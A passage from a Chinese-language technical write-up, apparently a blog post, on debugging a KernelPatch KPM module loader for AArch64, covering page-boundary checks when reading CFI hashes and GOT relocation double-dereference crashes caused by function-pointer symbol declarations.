rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2246" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> ((func_addr &amp; (PAGE_SIZE - </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">)) &gt;= </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">    u32 cfi_hash = *(u32 *)(func_addr - </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">);</span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/*</span><span leaf=""><br/></span><span leaf="">     * 使用 cfi_hash</span><span leaf=""><br/></span><span leaf="">     */</span></span><span leaf="">}</span></code></pre><p data-line="2325" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果函数入口位于页起始位置，就不能直接读取 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">func - 4</span></code><span leaf="">。</span></p><p data-line="2327" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">读取函数入口前的元数据时，必须考虑页边界。</span></p><p data-line="2329" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">尤其是 vmalloc/module_alloc 产生的区域，前后 guard page 会让 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">addr - 4</span></code><span leaf=""> 这种访问变得危险。</span></p><h3 data-line="2407" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">GOT、外部符号与地址层级</span></h3><p data-line="2333" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 34：GOT 双重解引用与函数指针变量的地址层级</span></p><p data-line="2335" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">加载复杂 KPM 时，loader 报错：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2267" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">unsupported RELA type 312</span></code></pre><p data-line="2341" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">后续补上 GOT relocation 支持后，又出现新的崩溃：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2273" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">跳转到 0x7fd503233f</span><span leaf=""><br/></span><span leaf="">触发 do_translation_fault</span></code></pre><p data-line="2348" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">进一步反汇编发现，KPM 调用外部函数时生成了类似模式：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2280" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">adrp x8, :got:symbol</span><span leaf=""><br/></span><span leaf="">ldr  x8, [x8, #:lo12]</span><span leaf=""><br/></span><span leaf="">ldr  x8, [x8]</span><span leaf=""><br/></span><span leaf="">blr  x8</span></code></pre><p data-line="2357" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">也就是说，它不是直接调用 GOT 槽中的地址，而是做了两次解引用。复杂 KPM 会产生 GOT 重定位。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">type 312</span></code><span leaf=""> 对应 GOT 相关 relocation，例如：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2289" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">R_AARCH64_LD64_GOT_LO12_NC</span></code></pre><p data-line="2363" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果 KPM 使用：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2295" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">-fPIC</span><span leaf=""><br/></span><span leaf="">-mcmodel=large</span></code></pre><p data-line="2370" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">编译，就很容易产生 GOT 访问。</span></p><p data-line="2372" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因此 loader 必须支持 GOT relocation。对于某些编译模型，KPM 对外部符号的访问可能不是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2304" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">GOT 槽 = 函数地址</span><span leaf=""><br/></span><span leaf="">直接 blr 函数地址</span></code></pre><p data-line="2379" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2311" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">GOT 槽 = 某个指针变量的地址</span><span leaf=""><br/></span><span leaf="">第一次 ldr：取出指针变量地址</span><span leaf=""><br/></span><span leaf="">第二次 ldr：读取指针变量的值</span><span leaf=""><br/></span><span leaf="">blr：调用最终函数</span></code></pre><p data-line="2388" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果 loader 直接把函数地址填进 GOT 槽，那么第二次 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ldr</span></code><span leaf=""> 就会把函数开头的机器码当成指针读取。</span></p><p data-line="2390" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">例如函数开头如果是 PAC 指令：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2322" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">0xd503233f</span></code></pre><p data-line="2396" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">那么读取出来的“地址”就可能变成类似：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2328" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">0x7fd503233f</span></code></pre><p data-line="2402" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最终跳转到垃圾地址。</span></p><p data-line="2404" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">更隐蔽的一层是符号声明类型。KernelPatch 中有些外部符号被声明为函数指针变量：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2336" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">extern</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">void</span></span><span style="color: inherit;"><span leaf="">(*printk)</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *fmt, ...)</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">extern</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">long</span></span><span style="color: inherit;"><span leaf="">(*kallsyms_lookup_name)</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *name)</span></span><span leaf="">;</span></code></pre><p data-line="2411" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这和普通函数声明完全不同：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2343" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">extern</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">printk</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *fmt, ...)</span></span><span leaf="">;</span></code></pre><p data-line="2417" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">两者语义区别如下：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">声明形式</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">编译器理解</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">KPM 需要的地址</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">extern void printk(...)</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">printk</span></code><p><span leaf=""> 是函数</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">函数地址</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">extern void 